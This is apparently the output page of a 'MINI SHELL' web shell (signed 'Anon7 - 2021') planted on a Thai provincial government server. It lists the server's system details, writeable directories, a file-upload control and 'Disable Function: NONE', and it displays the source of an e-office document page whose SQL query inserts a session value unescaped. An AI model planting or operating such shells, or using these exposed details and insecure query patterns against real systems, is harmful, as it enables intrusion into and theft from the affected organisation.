MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/eoffice/application/document/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/eoffice/application/document/doc_export.php
<link rel="stylesheet" type="text/css" href="ajaxtabs/ajaxtabs.css" />
<script type="text/javascript" src="ajaxtabs/ajaxtabs.js"></script>
<?

$sql_setting_list="
select * from doc_setting where staffid = '$_SESSION[session_staffid]';
";
$result =  mysql_query($sql_setting_list)or die("Query line " . __LINE__ . " error<hr>".mysql_error());
while($srs = mysql_fetch_assoc($result)){
$c_select_val[$srs[colump]]="$srs[colump_val]";
}

if($c_select[year_setting]){
	$year_select=$c_select_val[year_setting];
	}else
{
	$year_now=DATE(Y);
	$year_select=$year_now;
}


?>


  <table width="100%" border="0" cellspacing="0" cellpadding="0">
    <tr>
      <td align="center">
	  
	  <table width="100%" border="0" cellspacing="0" cellpadding="3">        
        <tr>
          <td align="center" bgcolor="#E4EBF3"><strong> ทะเบียนหนังสือ พ.ศ. <?=$year_select+543?>
              <?=$year?>
          </strong></td>
        </tr>
      </table>
	  
</td>
</tr>
</table>

<ul id="countrytabs" class="shadetabs">
<li><a href="doc_book.php?type=get" rel="#iframe" class="selected" >หนังสือรับ</a></li>
<li><a href="doc_book.php?type=send" rel="#iframe" >หนังสือส่ง</a></li>
<li><a href="doc_book.php?type=circular" rel="#iframe" >หนังสือเวียน</a></li>
<li><a href="doc_book.php?type=cancel" rel="#iframe" >ทะเบียนยกเลิก</a></li>
</ul>
<div id="countrydivcontainer" style="border:1px solid gray; width:99%; height:600px; margin-bottom: 1em; padding: 10px">
</div>
<script type="text/javascript">
var countries=new ddajaxtabs("countrytabs", "countrydivcontainer")
countries.setpersist(true)
countries.setselectedClassTarget("link") //"link" or "linkparent"
countries.init()
</script>
<!------------------------------------------------END FUNCTION------------------------------------------------------------------------------>

Anon7 - 2021